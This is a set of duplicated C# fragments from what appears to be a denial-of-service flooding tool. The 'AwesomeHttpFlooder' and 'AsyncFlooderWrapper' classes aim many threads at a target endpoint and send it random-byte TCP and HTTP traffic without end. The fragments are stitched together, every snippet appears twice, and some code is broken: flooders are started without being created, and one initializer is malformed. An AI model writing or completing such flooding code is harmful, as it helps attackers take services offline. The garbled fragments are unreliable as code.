public AwesomeHttpFlooder(IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1) { var info = new AttackInfo { Target = target, Protocol = ProtocolType.Tcp, Randomizer = this.GenerateHeaderBytes, MaxWrite = 1, SendBufferSize = 512, ReadBufferSize = 512 }; if (attackParams.WaitForResponse) { info.MaxRead = ulong.MaxValue; } _flooder = new AsyncFlooder(info, threadCount); this._headers = CreateHeaderExpression(attackParams); this._exprBuffers = new int[threadCount][]; var c = this._headers.ComputeLengthDataSize(); for (var i = 0; i < threadCount; i++) { this._exprBuffers[i] = new int[c]; } }
private void AsyncAttack() { this._riep = new IPEndPoint( this._ip, this.Port); var fs = new AsyncFlooder[this._spt]; for (var i = 0; i < this._spt; i++) //fs[ info ] = new AsyncFlooder(this); { fs[i].Start(); } Thread.Sleep(System.Threading.Timeout.Infinite); }
public AsyncFlooderWrapper(IPEndPoint target, ProtocolType protocol, int threadCount) { _flooder = new AsyncFlooder( new AttackInfo() { Target = target, Protocol = protocol, Randomizer = (a,b) => { Generators.Random.NextBytes( a ); return a.Length; } }, ThreadCount = threadCount ); }
public AsyncFlooderWrapper(IPEndPoint target, ProtocolType protocol, int threadCount) { _flooder = new AsyncFlooder( new AttackInfo() { Target = target, Protocol = protocol, Randomizer = (a, b) => { Generators.Random.NextBytes(a); return(a.Length); } }, ThreadCount = threadCount ); }
public AwesomeHttpFlooder( IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1 ) { var info = new AttackInfo { Target = target, Protocol = ProtocolType.Tcp, Randomizer = this.GenerateHeaderBytes, MaxWrite = 1, SendBufferSize = 512, ReadBufferSize = 512 }; if ( attackParams.WaitForResponse ) info.MaxRead = ulong.MaxValue; _flooder = new AsyncFlooder( info, threadCount ); this._headers = CreateHeaderExpression( attackParams ); this._exprBuffers = new int[ threadCount ][]; var c = this._headers.ComputeLengthDataSize(); for (var i = 0; i < threadCount; i++) this._exprBuffers[ i ] = new int[c]; }
private void AsyncAttack() { this._riep = new IPEndPoint( this._ip, this.Port ); var fs = new AsyncFlooder[ this._spt ]; for ( var i = 0; i < this._spt; i++ ) //fs[ info ] = new AsyncFlooder(this); fs[ i ].Start(); Thread.Sleep( System.Threading.Timeout.Infinite ); }